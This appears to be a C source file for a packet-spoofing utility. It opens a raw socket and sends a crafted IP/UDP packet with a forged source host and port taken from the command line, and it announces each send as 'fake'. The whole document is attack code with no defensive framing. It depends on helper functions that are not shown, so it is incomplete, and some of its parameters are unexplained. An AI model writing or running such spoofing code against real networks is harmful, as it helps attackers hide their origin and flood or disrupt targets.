

#include <netinet/ip_tcp.h>

void sendpack(char *fromhost, int fromport, char *tohost, int toport)
{
 char *packet;
 char *udppacket;

 static struct sockaddr_in local, remote;
 static int sock = 0;
 int totsent = sizeof(struct iphdr) + sizeof(struct udphdr);
 if (!sock) {
   resolve_address((struct sockaddr *)&local, fromhost, fromport);
   resolve_address((struct sockaddr *)&remote, tohost, toport);
   sock = socket(AF_INET, SOCK_RAW, 255);
   if (sock == -1) { perror("Getting raw socket"); exit(-1); }
  }
   udppacket = create_udp(local.sin_addr.s_addr, remote.sin_addr.s_addr, 
        local.sin_port, remote.sin_port, NULL, 0);
   packet = create_ip(local.sin_addr.s_addr, remote.sin_addr.s_addr,
        17, 24, 4, udppacket, 20);
  {
   int result;

   result = sendto(sock, packet, totsent, 0, (struct sockaddr *)&remote, 
        sizeof(remote));
   if (result != totsent) { perror("sending packet"); }
  }
}

main(int argc, char **argv) {
if (argc!=5) {
 printf("usage: %s <from host> <from port> <to host> <to port>\n", argv[0]);
 exit(-1);
}
 printf("fake: %s.%d --> %s.%d\n", argv[1], atoi(argv[2]), argv[3], 
        atoi(argv[4]));
 
 sendpack(argv[1], atoi(argv[2]), argv[3], atoi(argv[4]));
}
